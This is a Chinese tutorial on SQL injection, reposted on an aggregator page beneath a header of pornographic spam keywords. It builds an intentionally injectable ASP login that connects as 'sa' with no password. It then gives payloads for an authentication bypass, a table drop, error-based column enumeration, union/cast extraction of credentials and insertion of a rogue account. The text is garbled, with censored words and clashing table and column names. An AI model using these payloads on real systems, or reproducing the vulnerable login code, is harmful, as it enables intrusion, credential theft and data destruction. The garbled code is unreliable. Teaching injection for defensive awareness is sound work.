日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

菜鸟学SQL注入 --- 一个简单的教学案例

發布時間:2025/1/21 数据库 66 豆豆
生活随笔 收集整理的這篇文章主要介紹了 菜鸟学SQL注入 --- 一个简单的教学案例 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
***的SQL***演示:
指的是***或惡意用戶在應用程序不知道的情況下通過應用程序來對SQL 數據庫執行惡意的代碼,一旦***成功,可以做任何事情,如查看數據表中的信息,刪除數據表的數據,到獲得網絡訪問權限等,我們在使用一些商用應用程序的時候,如一些第三方軟件,會要求我們在他們的使用界面中輸入一個用戶名和口令,這個用戶名和口令不是數據庫中的用戶名和口令,而是這些商用應用軟件所定義的用戶名和口令,通過這些用戶名和口令來進行相應的操作。這種使用方法可以進行精細的安全控制。所以當前的應用軟件中大多都使用這種方法。
而我們這種SQL***會對這種方法進行***。
我們在這里介紹的內容,主要是為了使用大家在以后的工作中加強安全意識 演示過程:
我們要建立一個表來存放用戶名和口令及訪問級別
create table users (username varchar(10),password varchar(20), access int) insert into USERS? values ('dufei','杜飛',1) 利用DW建一個登錄頁面
詳見文檔: <body>
<form name="form1" method="post" action="logined.asp">
? <table width="75%" border="1">
??? <tr>
????? <td colspan="2"><div align="center"><font size="5"><strong>用戶登錄</strong></font></div></td>
??? </tr>
??? <tr>
????? <td height="21">
<div align="right">用戶名:</div></td>
????? <td><input name="login_nm" type="text" id="login_nm"></td>
??? </tr>
??? <tr>
????? <td><div align="right">口令:</div></td>
????? <td><input name="login_pw" type="text" id="login_pw"></td>
??? </tr>
??? <tr>
????? <td colspan="2"><div align="center">
????????? <input type="submit" name="Submit" value="提交">
????????? &nbsp;&nbsp;&nbsp;&nbsp;
????????? <input type="reset" name="Submit2" value="重置">
??????? </div></td>
??? </tr>
? </table>
</form>
</body>?<%
username=request.form("login_nm")
password=request.form("login_pw")
set conn=server.createobject("adodb.connection")
conn.open "uid=sa;pwd=;server=localhost;driver={sql server};database=itet"
sql="select * from logins where USERNAME='"&username &"' and PASSWORD= '"&password &"'"
set rs=conn.execute(sql)
if not rs.eof=true then
response.write("登錄成功,你可以得到任何你所需要的數據")
else
response.write("登錄失敗")
end if
%> ******的第一個例子:刪除表
建立一個測試表: create table t1 (name varchar(10)) 一會把它刪除
在用戶名框中輸入:’; drop table t1 –
此時出現一個登錄失敗的提示,但讓我們來看一下T1表是否還存在!
已經消失在世界的盡頭了!再也不會回來了
此時為什么不成功,就是SQL***在起作用:
我們來分析一下:
從正常登錄:輸入:DUFEI??? 杜飛??? 1?? 到輸入:’; drop table –
分別是:
?select * from logins where USERNAME=’u1’? and PASSWORD=’p1’;
select * from logins where? USERNAME=’’; drop table t1 --? and PASSWORD=’p1’;
因為空用戶名是錯誤的,所以會報登錄失敗 第二個例子:模仿USERS中的第一個用戶登錄到我們的系統:
' or (1=1) --
分析:相當于在SQL 查詢分析器中輸入:
select * from logins where USERNAME=’’ or 1=1? --? and PASSWORD=’杜飛’;
通過這個例子可以看到,SQL ***確實可以起到進入系統,破壞系統的作用 當***嘗到了甜頭,就會使用更為危險的手段來*** 第三個例子:如果***在文本框中輸入:' having 1=1 --
是沒有成功,要的就是這個效果,沒有成功,但卻得到了我們想要的東西,或者是說,可以從中得到我們感興趣的東西:暴露了很多危險的東西,這些是作為一個***想知道的東西
'USERNAME' 在選擇列表中無效,知道了用戶名口令存放在哪個表,哪個字段中。然后可以猜到USERNAME存放的就是用戶名
那么知道了這個有什么用 就可以進行更為危險的***
現在***想利用所知道的情況再進一步想知道這個表中還有什么字段,以及每個字段的類型。
此時再輸入:' group by USERS.NAME having 1=1 --
又得到了一列:'USERS.PASSWORD' 在選擇列表中無效,這時候想都不用想,這里肯定是口令。
再想得到第三個字段名是什么:
' group by USERS.USERNAME,USER.PASSWORD having 1=1 --
依次可以知道第四個,五個。。。。。。。字段
直到不出現錯誤提示,則說明所有字段都得到了。 下面還想知道每個字段的類型是什么類型,為以后進一步的***做準備
' union select avg(USERS.USERNAME)? from USERS--
能以 varchar 數據類型作為參數
' union select avg(USERS.PASSWORD)? from USERS-- 求第三個字段ACCESS也是一樣,或者用' and access='f' -- 這就得到了三個字段和每個字段的類型了。 但更精彩的來了,我想知道每個字段的具體內容:
' union select cast(logins.login_nm as int),1,2 from logins --
將 varchar 值 'u1' 轉換為數據類型為 int 的列時發生語法錯誤 得到了U1,這是一個用戶名。
這對***是很有價值的,但是對系統來說是很危險的。
再進一步:他知道了你的數據表中有一個用戶是U1,那么U1的口令是多少呢
' union select cast(logins.login_pw as int),1,2 from logins -- 別的地方不改,就改一個pw? 如有多行,
最好用' union select cast(logins.login_pw as int),1,2 from logins where logins.login_nm='u1'--
即可 到現在為止,他知道了用戶名口令就可以了,
那如果再高級一點,他可以不用你的用戶名口令,我可以直接向你的表中寫一個用戶名口令,用自己的。
';insert into logins values ('dufei','dufei',1) --
測試:
與50位技術專家面對面20年技術見證,附贈技術全景圖

總結

以上是生活随笔為你收集整理的菜鸟学SQL注入 --- 一个简单的教学案例的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。